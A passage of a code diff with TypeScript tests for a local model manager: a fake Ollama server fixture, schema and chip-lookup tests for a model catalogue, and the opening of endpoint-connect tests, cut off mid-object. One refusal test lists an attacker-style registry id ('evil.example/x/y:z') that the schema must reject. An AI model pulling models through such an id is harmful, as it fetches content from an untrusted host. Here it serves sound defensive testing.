res.writeHead(416, { 'content-range': `bytes */${archive.size}` });
|
||||
res.end();
|
||||
return;
|
||||
}
|
||||
}
|
||||
const body = archive.body.subarray(from);
|
||||
const headers: Record<string, string> = {
|
||||
'content-type': 'application/octet-stream',
|
||||
'content-length': String(body.length),
|
||||
'accept-ranges': 'bytes',
|
||||
};
|
||||
if (from > 0) headers['content-range'] = `bytes ${from}-${archive.size - 1}/${archive.size}`;
|
||||
res.writeHead(from > 0 ? 206 : 200, headers);
|
||||
if (req.method === 'HEAD') {
|
||||
res.end();
|
||||
return;
|
||||
}
|
||||
if (sw.cutAfterBytes !== undefined && archiveCuts < sw.cutTimes && sw.cutAfterBytes < body.length) {
|
||||
archiveCuts += 1;
|
||||
res.write(body.subarray(0, sw.cutAfterBytes), () => res.socket?.destroy());
|
||||
return;
|
||||
}
|
||||
res.end(body);
|
||||
}
|
||||
|
||||
async function handle(req: IncomingMessage, res: ServerResponse): Promise<void> {
|
||||
const body = await readBody(req);
|
||||
const path = (req.url ?? '').split('?')[0];
|
||||
const method = req.method ?? 'GET';
|
||||
requests.push({ method, path, headers: req.headers, body });
|
||||
|
||||
if (path === '/' && method === 'GET') {
|
||||
res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' });
|
||||
res.end('Ollama is running');
|
||||
return;
|
||||
}
|
||||
if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version });
|
||||
if (path === '/api/tags' && method === 'GET') {
|
||||
const models = state.installed
|
||||
? [
|
||||
{
|
||||
name: model.id,
|
||||
model: model.id,
|
||||
modified_at: '2026-11-06T15:10:02.465346347+01:00',
|
||||
size: model.bytes,
|
||||
digest: model.digest,
|
||||
details: { ...modelDetails(), context_length: 262144, runner: model.runner },
|
||||
capabilities: model.capabilities,
|
||||
},
|
||||
]
|
||||
: [];
|
||||
return sendJson(res, 200, { models });
|
||||
}
|
||||
if (path === '/api/ps' && method === 'GET') {
|
||||
const size = switches.ps.size ?? model.bytes + 100_000_000;
|
||||
const models =
|
||||
state.installed && state.loaded && switches.ps.loaded !== false
|
||||
? [
|
||||
{
|
||||
name: model.id,
|
||||
model: model.id,
|
||||
size,
|
||||
digest: model.digest,
|
||||
details: modelDetails(),
|
||||
expires_at: '2026-11-06T15:20:09.488045+01:00',
|
||||
size_vram: switches.ps.sizeVram ?? size,
|
||||
context_length: switches.ps.contextLength ?? contextLength,
|
||||
runner: model.runner,
|
||||
},
|
||||
]
|
||||
: [];
|
||||
return sendJson(res, 200, { models });
|
||||
}
|
||||
if (path === '/api/pull' && method === 'POST') return handlePull(res, body);
|
||||
if (path === '/api/delete' && method === 'DELETE') {
|
||||
// Not captured: the answers of a delete (200 with no body, 404 with an error text).
|
||||
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
|
||||
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
|
||||
if (!state.installed || askedId !== model.id) {
|
||||
return sendJson(res, 404, { error: `model '${String(askedId)}' not found` });
|
||||
}
|
||||
state.installed = false;
|
||||
state.loaded = false;
|
||||
state.completedBytes = 0;
|
||||
res.writeHead(200);
|
||||
res.end();
|
||||
return;
|
||||
}
|
||||
if (path === '/v1/models' && method === 'GET') {
|
||||
const data = state.installed
|
||||
? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }]
|
||||
: null;
|
||||
return sendJson(res, 200, { object: 'list', data });
|
||||
}
|
||||
if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body);
|
||||
if (path === '/download/ollama-darwin.tgz' && (method === 'GET' || method === 'HEAD')) {
|
||||
return handleArchive(req, res);
|
||||
}
|
||||
res.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' });
|
||||
res.end('404 page not found');
|
||||
}
|
||||
|
||||
async function listen(onPort = 0): Promise<void> {
|
||||
if (server) throw new Error('The fake runtime already listens');
|
||||
const created = createServer((req, res) => {
|
||||
handle(req, res).catch(() => {
|
||||
if (!res.headersSent) res.writeHead(500);
|
||||
res.end();
|
||||
});
|
||||
});
|
||||
created.on('connection', (socket) => {
|
||||
sockets.add(socket);
|
||||
socket.on('close', () => sockets.delete(socket));
|
||||
});
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
created.once('error', reject);
|
||||
created.listen(onPort, '127.0.0.1', () => resolve());
|
||||
});
|
||||
server = created;
|
||||
port = (created.address() as AddressInfo).port;
|
||||
}
|
||||
|
||||
async function close(): Promise<void> {
|
||||
const closing = server;
|
||||
if (!closing) return;
|
||||
server = undefined;
|
||||
port = 0;
|
||||
for (const socket of sockets) socket.destroy();
|
||||
await new Promise<void>((resolve) => closing.close(() => resolve()));
|
||||
}
|
||||
|
||||
function spawn(command: string, args: readonly string[], spawnOptions: SpawnOptions): ChildProcess {
|
||||
const env = (spawnOptions.env ?? {}) as NodeJS.ProcessEnv;
|
||||
const child = new FakeRuntimeChild(nextPid++, command, args, env, close);
|
||||
state.children.push(child);
|
||||
const wanted = Number(/:(\d+)$/.exec(env.OLLAMA_HOST ?? '')?.[1] ?? 0);
|
||||
const sw = switches.spawn;
|
||||
void (async () => {
|
||||
// A real child reports nothing before the next turn of the event loop either.
|
||||
await sleep(0);
|
||||
if (sw.exitsAtOnce !== undefined) {
|
||||
child.stderr.write('Error: listen tcp 127.0.0.1: bind: address already in use\n');
|
||||
child.crash(sw.exitsAtOnce);
|
||||
return;
|
||||
}
|
||||
if (!sw.neverListens) {
|
||||
try {
|
||||
await listen(wanted);
|
||||
} catch {
|
||||
child.stderr.write(`Error: listen tcp 127.0.0.1:${wanted}: bind: address already in use\n`);
|
||||
child.crash(1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
for (const text of fakeRuntimeLog(sw.total, wanted)) {
|
||||
if (!sw.logsBudget && text.includes('msg="inference compute"')) continue;
|
||||
child.stderr.write(text + '\n');
|
||||
}
|
||||
})();
|
||||
return child as unknown as ChildProcess;
|
||||
}
|
||||
|
||||
return {
|
||||
get baseUrl() {
|
||||
return server ? `http://127.0.0.1:${port}` : '';
|
||||
},
|
||||
get port() {
|
||||
return port;
|
||||
},
|
||||
get listening() {
|
||||
return server !== undefined;
|
||||
},
|
||||
requests,
|
||||
switches,
|
||||
model,
|
||||
state,
|
||||
archive,
|
||||
pin: () => ({
|
||||
id: 'ollama',
|
||||
version,
|
||||
url: `http://127.0.0.1:${port}/download/ollama-darwin.tgz`,
|
||||
bytes: archive.size,
|
||||
sha256: archive.sha256,
|
||||
unpackedBytes: 4096,
|
||||
minMacosMajor: 14,
|
||||
}),
|
||||
listen,
|
||||
close,
|
||||
spawn,
|
||||
};
|
||||
}
|
||||
|
||||
/** A fake that listens on a port the system picked. Close it in `afterEach`. */
|
||||
export async function startFakeOllama(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
|
||||
const fake = createFakeOllama(options);
|
||||
await fake.listen(0);
|
||||
return fake;
|
||||
}
|
||||
@@ -38,6 +38,9 @@ const SCANNED_FILES = [
|
||||
'panels-ui.js',
|
||||
// A row's mode comes from the same catalog, never from a list of ids here.
|
||||
'foreign-sessions.js',
|
||||
// The harness a local model is paired with arrives as a label in the payload
|
||||
// (`Candidate.cliLabel`); the card names no CLI and compares no id.
|
||||
'local-model-ui.js',
|
||||
];
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,417 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models,
|
||||
* harnesses and chips, its schema, and the chip lookup.
|
||||
*
|
||||
* Four things are pinned:
|
||||
*
|
||||
* 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on
|
||||
* a bad row, so this test is what keeps a bad row from ever reaching the route.
|
||||
* 2. The schema refuses what must never get in: a model id that could name another registry
|
||||
* (a slash, a host), an unknown key (a `runtime` block with a download URL), and rows that
|
||||
* break a rule across rows (a repeated id, contexts in the wrong order, a chip row that
|
||||
* hides a more specific one).
|
||||
* 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one
|
||||
* whose name merely contains a known name ('Apple M10', 'Apple M6 Pro').
|
||||
* 4. Which figures were MEASURED on a Mac and which are carried over from the measured row:
|
||||
* one row says `measured` (its size is what a Mac really downloads, and it alone has a
|
||||
* tested entry), every other row says `estimated`.
|
||||
*
|
||||
* Port: N/A (pure data and functions).
|
||||
*/
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
chipBandwidthGbps,
|
||||
chipNameMatches,
|
||||
getLocalModelCatalog,
|
||||
LOCAL_MODEL_ID_PATTERN,
|
||||
LocalModelCatalogSchema,
|
||||
STOCK_LOCAL_MODEL_CATALOG,
|
||||
} from '../src/config/local-model-catalog.js';
|
||||
import type { LocalModelCatalog, LocalModelEntry } from '../src/types.js';
|
||||
|
||||
/** A deep copy of the stock catalogue that a test may break. */
|
||||
function copy(): LocalModelCatalog {
|
||||
return structuredClone(STOCK_LOCAL_MODEL_CATALOG);
|
||||
}
|
||||
|
||||
/** The message of every issue the schema raises for `catalog`, or an empty list when it parses. */
|
||||
function issuesOf(catalog: unknown): string[] {
|
||||
const result = LocalModelCatalogSchema.safeParse(catalog);
|
||||
return result.success ? [] : result.error.issues.map((issue) => `${issue.path.join('.')}: ${issue.message}`);
|
||||
}
|
||||
|
||||
/** The stock catalogue with its first model changed. */
|
||||
/** `url` and `kvBytesPerToken` are no fields of a model row: tests pass them to prove the schema refuses an unknown key. */
|
||||
function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url' | 'kvBytesPerToken', unknown>>): unknown {
|
||||
const catalog = copy();
|
||||
return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] };
|
||||
}
|
||||
|
||||
describe('the stock catalogue', () => {
|
||||
it('passes its own schema', () => {
|
||||
expect(issuesOf(STOCK_LOCAL_MODEL_CATALOG)).toEqual([]);
|
||||
});
|
||||
|
||||
it('is what the getter returns, validated once', () => {
|
||||
const first = getLocalModelCatalog();
|
||||
expect(first).toEqual(STOCK_LOCAL_MODEL_CATALOG);
|
||||
// Parsed on first use, then reused: the same object, not a new parse per request.
|
||||
expect(getLocalModelCatalog()).toBe(first);
|
||||
});
|
||||
|
||||
it('lists the seven models of the design, without flint:40b', () => {
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => m.id)).toEqual([
|
||||
'qwen3.5:9b',
|
||||
'qwen3.5:9b-q8_0',
|
||||
'gpt-oss:20b',
|
||||
'qwen3.6:35b-a3b',
|
||||
'qwen3.8:27b',
|
||||
'qwen3.8:27b-q8_0',
|
||||
'qwen3.5:122b-a10b',
|
||||
]);
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.models.some((m) => m.id.startsWith('flint'))).toBe(false);
|
||||
});
|
||||
|
||||
it('carries the size a Mac really downloads where that was measured, else the registry manifest', () => {
|
||||
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.bytes]))).toEqual({
|
||||
// The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06.
|
||||
'qwen3.5:9b': 6_550_825_373,
|
||||
'qwen3.5:9b-q8_0': 10_449_217_949,
|
||||
'gpt-oss:20b': 13_793_441_427,
|
||||
// The total of the real pull on a Mac (an MLX build). Its manifest sums to 22,621,314,161.
|
||||
'qwen3.6:35b-a3b': 23_105_798_956,
|
||||
'qwen3.8:27b': 17_741_871_939,
|
||||
'qwen3.8:27b-q8_0': 29_978_241_837,
|
||||
'qwen3.5:122b-a10b': 81_370_035_877,
|
||||
});
|
||||
});
|
||||
|
||||
it('says which row was measured on a Mac: one, and every other row is an estimate', () => {
|
||||
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.figures]))).toEqual({
|
||||
'qwen3.5:9b': 'estimated',
|
||||
'qwen3.5:9b-q8_0': 'estimated',
|
||||
'gpt-oss:20b': 'estimated',
|
||||
'qwen3.6:35b-a3b': 'measured',
|
||||
'qwen3.8:27b': 'estimated',
|
||||
'qwen3.8:27b-q8_0': 'estimated',
|
||||
'qwen3.5:122b-a10b': 'estimated',
|
||||
});
|
||||
});
|
||||
|
||||
it('gives every row the memory figures measured on the one row: 37 KB per token, 3 GB, 5 GB', () => {
|
||||
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
|
||||
expect(
|
||||
[model.heldBytesPerToken, model.overheadBytes, model.peakExtraBytes],
|
||||
`${model.id}: an unmeasured row carries the measured row's figures, not invented ones`
|
||||
).toEqual([37_000, 3_000_000_000, 5_000_000_000]);
|
||||
}
|
||||
// No row keeps the figure that was computed from the model's config.
|
||||
expect(JSON.stringify(STOCK_LOCAL_MODEL_CATALOG)).not.toContain('kvBytesPerToken');
|
||||
});
|
||||
|
||||
it('has one tested entry: the 35B-A3B with OpenCode on the MacBook Pro, with its measured speed', () => {
|
||||
expect(
|
||||
Object.fromEntries(
|
||||
STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.tested.length > 0).map((m) => [m.id, m.tested])
|
||||
)
|
||||
).toEqual({
|
||||
'qwen3.6:35b-a3b': [
|
||||
{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 },
|
||||
],
|
||||
});
|
||||
// A row may claim a test only when its figures were measured.
|
||||
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
|
||||
if (model.tested.length > 0) expect(model.figures, model.id).toBe('measured');
|
||||
}
|
||||
});
|
||||
|
||||
it('gives every model a parameter count, an id of the default registry and a license', () => {
|
||||
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
|
||||
expect(model.paramsB, model.id).toBeGreaterThan(0);
|
||||
expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN);
|
||||
expect(model.license).toBe('Apache-2.0');
|
||||
}
|
||||
// The two 9B rows are the ones under the 12 billion line of the `limited` verdict.
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.paramsB < 12).map((m) => m.id)).toEqual([
|
||||
'qwen3.5:9b',
|
||||
'qwen3.5:9b-q8_0',
|
||||
]);
|
||||
});
|
||||
|
||||
it('has a speed figure only where one was measured or scaled from a measurement', () => {
|
||||
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.speedPer100Gbps ?? null]))).toEqual({
|
||||
'qwen3.5:9b': 9.3,
|
||||
'qwen3.5:9b-q8_0': 5.8,
|
||||
'gpt-oss:20b': null,
|
||||
'qwen3.6:35b-a3b': 13.6,
|
||||
'qwen3.8:27b': 2.95,
|
||||
'qwen3.8:27b-q8_0': 1.7,
|
||||
'qwen3.5:122b-a10b': null,
|
||||
});
|
||||
});
|
||||
|
||||
it('lists its harnesses as data rows, one of them gated', () => {
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
|
||||
{ cli: 'opencode', minContext: 65536, rank: 3 },
|
||||
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
|
||||
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
|
||||
]);
|
||||
});
|
||||
|
||||
it('names the oldest macOS and its schema version', () => {
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14);
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1);
|
||||
});
|
||||
|
||||
it('holds no download data: no URL, no digest, no runtime block', () => {
|
||||
const text = JSON.stringify(STOCK_LOCAL_MODEL_CATALOG);
|
||||
expect(text).not.toMatch(/https?:/);
|
||||
expect(text).not.toMatch(/sha256/i);
|
||||
expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual(
|
||||
['chips', 'harnesses', 'minMacosMajor', 'models', 'schema', 'updated'].sort()
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the model id rule', () => {
|
||||
it('accepts name:tag in lowercase', () => {
|
||||
for (const id of ['qwen3.5:9b', 'gpt-oss:20b', 'qwen3.8:27b-q8_0', 'a:b', 'x_y.z-1:2.3_4']) {
|
||||
expect(LOCAL_MODEL_ID_PATTERN.test(id), id).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses anything that could name another registry, namespace or no tag at all', () => {
|
||||
const bad = [
|
||||
'evil.example/x/y:z',
|
||||
'library/qwen3.5:9b',
|
||||
'registry.ollama.ai/library/qwen3.5:9b',
|
||||
'Qwen3.5:9b',
|
||||
'qwen3.5:9B',
|
||||
'qwen3.5',
|
||||
'qwen3.5:',
|
||||
':9b',
|
||||
'qwen3.5:9b:extra',
|
||||
'qwen 3.5:9b',
|
||||
'-qwen:9b',
|
||||
'qwen:-9b',
|
||||
'qwen3.5:9b\n',
|
||||
'',
|
||||
];
|
||||
for (const id of bad) expect(LOCAL_MODEL_ID_PATTERN.test(id), JSON.stringify(id)).toBe(false);
|
||||
});
|
||||
|
||||
it('makes the schema reject a catalogue with such an id', () => {
|
||||
for (const id of ['evil.example/x/y:z', 'Qwen3.5:9b', 'qwen3.5', 'qwen3.5:9b ']) {
|
||||
const issues = issuesOf(withFirstModel({ id }));
|
||||
expect(issues, id).toHaveLength(1);
|
||||
expect(issues[0]).toContain('models.0.id');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('the schema, field by field', () => {
|
||||
it('refuses a key it does not know, at the top and inside a row', () => {
|
||||
// The whole point of having no `runtime` block: a data row can never carry a download URL.
|
||||
expect(issuesOf({ ...copy(), runtime: { url: 'https://example.com/x.tgz', sha256: 'abc' } })).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ url: 'https://example.com/model' }))).not.toEqual([]);
|
||||
const catalog = copy();
|
||||
expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]);
|
||||
expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]);
|
||||
// The two figures the need was once computed from are gone, and a row that still has one is refused.
|
||||
expect(issuesOf(withFirstModel({ kvBytesPerToken: 32768 }))).not.toEqual([]);
|
||||
expect(issuesOf({ ...catalog, promptCacheTiers: [{ minMemGb: 0, bytes: 1 }] })).not.toEqual([]);
|
||||
});
|
||||
|
||||
it('requires the memory figures and where they come from on every model row', () => {
|
||||
for (const field of ['heldBytesPerToken', 'overheadBytes', 'peakExtraBytes', 'figures'] as const) {
|
||||
const row: Record<string, unknown> = { ...copy().models[0] };
|
||||
delete row[field];
|
||||
const issues = issuesOf({ ...copy(), models: [row] });
|
||||
expect(issues, field).toHaveLength(1);
|
||||
expect(issues[0]).toContain(`models.0.${field}`);
|
||||
}
|
||||
expect(issuesOf(withFirstModel({ figures: 'guessed' }))).not.toEqual([]);
|
||||
// What stays held per token must be a positive whole number of bytes; the other two may be 0.
|
||||
expect(issuesOf(withFirstModel({ heldBytesPerToken: 0 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ heldBytesPerToken: 36.5 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ overheadBytes: 0, peakExtraBytes: 0 }))).toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ overheadBytes: -1 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ peakExtraBytes: 1.5 }))).not.toEqual([]);
|
||||
});
|
||||
|
||||
it('requires paramsB and tested on every model row', () => {
|
||||
for (const field of ['paramsB', 'tested'] as const) {
|
||||
const row: Record<string, unknown> = { ...copy().models[0] };
|
||||
delete row[field];
|
||||
const issues = issuesOf({ ...copy(), models: [row] });
|
||||
expect(issues, field).toHaveLength(1);
|
||||
expect(issues[0]).toContain(`models.0.${field}`);
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses sizes and counts that are not positive whole numbers', () => {
|
||||
expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]);
|
||||
});
|
||||
|
||||
it('accepts a tested entry and checks its shape', () => {
|
||||
const good = { chip: 'Apple M4', memGb: 16, cli: 'opencode', date: '2026-11-06' };
|
||||
expect(issuesOf(withFirstModel({ tested: [good] }))).toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]);
|
||||
// The speed measured in that test is optional, and a speed is above 0.
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 67.7 }] }))).toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 0 }] }))).not.toEqual([]);
|
||||
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: '67.7' }] }))).not.toEqual([]);
|
||||
});
|
||||
|
||||
it('refuses another schema version and a date that is not ISO', () => {
|
||||
expect(issuesOf({ ...copy(), schema: 2 })).not.toEqual([]);
|
||||
expect(issuesOf({ ...copy(), updated: 'today' })).not.toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the schema, across rows', () => {
|
||||
it('refuses a repeated model id', () => {
|
||||
const catalog = copy();
|
||||
catalog.models[1] = { ...catalog.models[1], id: catalog.models[0].id };
|
||||
expect(issuesOf(catalog)).toEqual(['models.1.id: model ids must be unique']);
|
||||
});
|
||||
|
||||
it('refuses a repeated model rank, which would leave the order of two models to chance', () => {
|
||||
const catalog = copy();
|
||||
catalog.models[1] = { ...catalog.models[1], rank: catalog.models[0].rank };
|
||||
expect(issuesOf(catalog)).toEqual(['models.1.rank: model ranks must be unique']);
|
||||
});
|
||||
|
||||
it('refuses a harness listed twice and a repeated harness rank', () => {
|
||||
const twice = copy();
|
||||
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
|
||||
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
|
||||
|
||||
const sameRank = copy();
|
||||
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
|
||||
expect(issuesOf(sameRank)).toEqual(['harnesses.1.rank: harness ranks must be unique']);
|
||||
});
|
||||
|
||||
it('refuses contexts that are not listed largest first, or that repeat', () => {
|
||||
expect(issuesOf(withFirstModel({ contexts: [32768, 65536] }))).toEqual([
|
||||
'models.0.contexts.1: contexts must be listed largest first, without repeats',
|
||||
]);
|
||||
expect(issuesOf(withFirstModel({ contexts: [65536, 65536] }))).toEqual([
|
||||
'models.0.contexts.1: contexts must be listed largest first, without repeats',
|
||||
]);
|
||||
});
|
||||
|
||||
it('refuses a tested entry for a harness the catalogue does not list', () => {
|
||||
const entry = { chip: 'Apple M4', memGb: 16, cli: 'not-a-harness', date: '2026-11-06' };
|
||||
expect(issuesOf(withFirstModel({ tested: [entry] }))).toEqual([
|
||||
'models.0.tested.0.cli: a tested entry must name a harness of this catalogue',
|
||||
]);
|
||||
});
|
||||
|
||||
it('refuses chips that are not listed most specific first', () => {
|
||||
const catalog = copy();
|
||||
catalog.chips = [
|
||||
{ match: 'M4', gbps: 120 },
|
||||
{ match: 'M4 Max', gbps: 410 },
|
||||
];
|
||||
expect(issuesOf(catalog)).toEqual([
|
||||
"chips.1.match: chips must be listed most specific first: 'M4' comes before 'M4 Max'",
|
||||
]);
|
||||
|
||||
const repeated = copy();
|
||||
repeated.chips = [
|
||||
{ match: 'M4', gbps: 120 },
|
||||
{ match: 'm4', gbps: 130 },
|
||||
];
|
||||
expect(issuesOf(repeated)).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the chips table', () => {
|
||||
const chips = STOCK_LOCAL_MODEL_CATALOG.chips;
|
||||
|
||||
it('holds every chip of the source table that shipped', () => {
|
||||
// Bandwidth column of https://github.com/ggml-org/llama.cpp/discussions/4167, read on
|
||||
// 2026-11-06. A name that covers two bandwidths has the lower one.
|
||||
expect(Object.fromEntries(chips.map((row) => [row.match, row.gbps]))).toEqual({
|
||||
'M5 Ultra': 1228,
|
||||
'M3 Ultra': 800,
|
||||
'M2 Ultra': 800,
|
||||
'M1 Ultra': 800,
|
||||
'M5 Max': 460,
|
||||
'M4 Max': 410,
|
||||
'M3 Max': 300,
|
||||
'M2 Max': 400,
|
||||
'M1 Max': 400,
|
||||
'M5 Pro': 307,
|
||||
'M4 Pro': 273,
|
||||
'M3 Pro': 150,
|
||||
'M2 Pro': 200,
|
||||
'M1 Pro': 200,
|
||||
M5: 154,
|
||||
M4: 120,
|
||||
M3: 100,
|
||||
M2: 100,
|
||||
M1: 68,
|
||||
});
|
||||
});
|
||||
|
||||
it('finds each row under the name macOS reports for that chip', () => {
|
||||
// No row is hidden by an earlier one: 'Apple M4 Max' is 410, not the 120 of 'M4'.
|
||||
for (const row of chips) {
|
||||
expect(chipBandwidthGbps(chips, `Apple ${row.match}`), row.match).toBe(row.gbps);
|
||||
}
|
||||
});
|
||||
|
||||
it('knows the chips of the two test Macs', () => {
|
||||
expect(chipBandwidthGbps(chips, 'Apple M4')).toBe(120);
|
||||
expect(chipBandwidthGbps(chips, 'Apple M5 Pro')).toBe(307);
|
||||
});
|
||||
|
||||
it('never guesses: a chip that no row names has no bandwidth', () => {
|
||||
const unknown = [
|
||||
// A base chip that is not in the table.
|
||||
'Apple M6',
|
||||
// A variant the table has never heard of must not borrow the figure of its base chip.
|
||||
'Apple M6 Pro',
|
||||
'Apple M4 Ultra',
|
||||
'Apple M5 Extreme',
|
||||
// A name that merely contains a known name.
|
||||
'Apple M10',
|
||||
'Apple M12 Pro',
|
||||
'Apple M1 Max (Virtual)',
|
||||
'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
|
||||
'VirtualApple @ 2.50GHz processor',
|
||||
'Max',
|
||||
'',
|
||||
];
|
||||
for (const chip of unknown) expect(chipBandwidthGbps(chips, chip), chip).toBeUndefined();
|
||||
expect(chipBandwidthGbps(chips, undefined)).toBeUndefined();
|
||||
expect(chipBandwidthGbps([], 'Apple M4')).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('chipNameMatches', () => {
|
||||
it('matches the whole chip name at the end of the string, ignoring case and padding', () => {
|
||||
expect(chipNameMatches('Apple M4 Pro', 'M4 Pro')).toBe(true);
|
||||
expect(chipNameMatches('Apple M4', 'M4')).toBe(true);
|
||||
expect(chipNameMatches('M4', 'M4')).toBe(true);
|
||||
expect(chipNameMatches(' apple m4 pro ', 'M4 PRO')).toBe(true);
|
||||
});
|
||||
|
||||
it('does not match a part of a longer name', () => {
|
||||
expect(chipNameMatches('Apple M4 Pro', 'M4')).toBe(false);
|
||||
expect(chipNameMatches('Apple M14', 'M4')).toBe(false);
|
||||
expect(chipNameMatches('Apple M10', 'M1')).toBe(false);
|
||||
expect(chipNameMatches('Apple XM4', 'M4')).toBe(false);
|
||||
expect(chipNameMatches('Apple M4', '')).toBe(false);
|
||||
expect(chipNameMatches('', 'M4')).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,489 @@
|
||||
/**
|
||||
* @fileoverview Connecting the installed local model to Codeman and undoing it
|
||||
* (src/local-model/connect.ts): the two writes outside the local model folder.
|
||||
*
|
||||
* What is pinned:
|
||||
* - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
|
||||
* - connecting writes the record and switches the settings flag on, keeps every other
|
||||
* endpoint and setting, and is idempotent;
|
||||
* - the reserved id is never taken over: a record with it that is not ours refuses the
|
||||
* connect and changes nothing;
|
||||
* - a refused write leaves the pair as it was (a record this call added is taken out again);
|
||||
* - disconnecting removes our record, and restores the flag ONLY when this feature switched
|
||||
* it on and no other endpoint is saved;
|
||||
* - the digest comparison, the session names of the DELETE's 409, the managed-record test,
|
||||
* and that the runtime's private key cannot be served.
|
||||
*
|
||||
* Port: N/A (no server; the two files live in the test's temp data dir).
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { dataPath, getDataDir } from '../src/config/instance.js';
|
||||
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
import {
|
||||
buildLocalEndpointRecord,
|
||||
compareModelDigest,
|
||||
connectLocalModel,
|
||||
disconnectLocalModel,
|
||||
ensureLocalEndpoint,
|
||||
inspectLocalEndpoint,
|
||||
isLocalModelEndpointId,
|
||||
isManagedLocalEndpoint,
|
||||
isSameLocalEndpoint,
|
||||
LOCAL_MODEL_ENDPOINT_ID,
|
||||
LOCAL_MODEL_ENDPOINT_LABEL,
|
||||
moveLocalEndpoint,
|
||||
sessionNamesUsingEndpoint,
|
||||
} from '../src/local-model/connect.js';
|
||||
import { CustomModelHostSchema } from '../src/web/schemas.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
import { isSensitivePath } from '../src/web/sensitive-path.js';
|
||||
|
||||
const HOSTS = () => customModelHostsPath(getDataDir());
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
|
||||
const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
|
||||
|
||||
const OTHER: CustomModelHost = {
|
||||
id: 'office-gpu',
|
||||
label: 'Office GPU',
|
||||
baseUrl: 'http://192.168.1.50:8080',
|
||||
apiKey: 'sk-keep-me',
|
||||
